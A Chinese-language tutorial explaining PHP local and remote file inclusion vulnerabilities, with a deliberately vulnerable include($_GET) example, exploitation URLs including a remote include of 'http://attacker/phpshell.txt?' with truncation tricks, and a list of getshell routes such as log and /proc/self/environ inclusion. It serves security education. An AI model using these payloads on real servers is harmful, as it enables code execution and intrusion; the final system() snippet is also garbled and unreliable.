文件包含
在项目中为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码, 完成类似python中的import功能。
漏洞成因
在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时,用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞。通常文件包含漏洞出现在PHP
语言中。故本文主要讨论php中的包含漏洞。几乎脚本语言都提高包含文件函数, 但函数在php居多, 而在asp、asp.net和jsp中非常少, 这与程序员的水平无关, 问题在于语言设计的弊端。
php 文件包含的函数
- include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
进来,发生错误时之给出一个警告,继续向下执行。 - include_once( )
功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次 - require( )
require()与 include()的区别在于 require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。 - require_once( )
功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次。 - fopen()、readfile()等
jsp/servlet 文件包含的函数
- java.io.file
- java.io.readfile()...
asp 文件包含的函数
- include file
- include virtual
总结,
漏洞产生的二因素:
1. 可控变量 (能被攻击者利用的变量)
2. 使用函数 (如包含函数include等)
核心
文件包含可以包含任意文件,即便被包含的文件并不是与当前编程语言相关,甚至为图片,只要文件被包含,其内容会被包含文件包含,并以当前服务器脚本语言执行。
危害
1. 上传图片:图片包含getshell (即得到后门)
2. 读文件:读取php文件
3. 包含日志文件getshell
4. 包含/proc/self/environ/文件getshell
5. 有phpinfo可包含临时文件
6. 包含data://或php://inout等伪协议(需要allow_url_include=On)
文件包含漏洞分类
文件包含漏洞分为两类: 本地包含漏洞和远程包含漏洞
造成两者形成的原因是因为, php.ini里面的安全设置: allow_url_include
打开即为远程, 关闭为本地
1. 本地包含漏洞
顾名思义, 就是在网站服务器本身存在恶意文件, 然后本地包含使用
做个简单的测试:
假如有个test.php脚本有如下内容:
<?php
$file=$_GET['para'];
include($file);
...
?>
上面代码可以控制可控参数para
来控制包含的$file
的值
因此可以建立任意后缀名的文件进行包含执行, 如新建hack.png, 内容如下:
<?php
phpinfo();
?>
然后访问的时候包含hack.png文件:
localhost/project/test.php?para=hack.png
得到如下结果:
如果包含的文件内容不符合php语言语法的,会直接将文件内容输出,
比如:hack.png, 内容如下:
123
重新访问的时候会出现:
2. 远程包含漏洞
调用其他网站的恶意文件并且执行(类似xss的链接注入)
条件:
1. php.ini中allow_url_include和allow_url_fopen的开启
2. 所包含的远程文件后缀不能与目标服务器语言相同. (比如目标服务器是php解析的, 远程服务器的文件不能是php)
和本地包含原理类似, 直接在可控参数para传入远程服务器文件的地址:
目标服务器: localhost/test.php
远程目标文件: www.***.com/hack.png
远程包含执行: localhost/test.php?para=http://www.***.com/hack.png
例如, 如下代码:
<?php
if ($route == 'share') {
require_once $basePath . '/action/m_share.php';
}
elseif ($route == 'sharelink') {
require_once $basePath . '/action/m_sharelink.php';
}
?>
在变量 $basePath 没有设置任何防护, 因此攻击者可以构造类似如下的URL进行攻击:
http://www.***.com/index.php?basePath=http://attacker/phpshell.txt?
最终加载的代码实际上执行了:
require_once 'http://attacker/phpshell.txt?/action/m_share.php';
问号后面的代码被解释成URL的参数了, 也是一种"截断", 这是在利用远程文件包含漏洞时常见的技巧; 同样的, %00也可以做截断。
远程文件包含漏洞可以直接用来执行任意命令, 比如攻击者的服务器上存在如下文件:
<?php
echo system("var;")
?>
用上述方法远程文件包含之后, 可获得 va r的命令执行。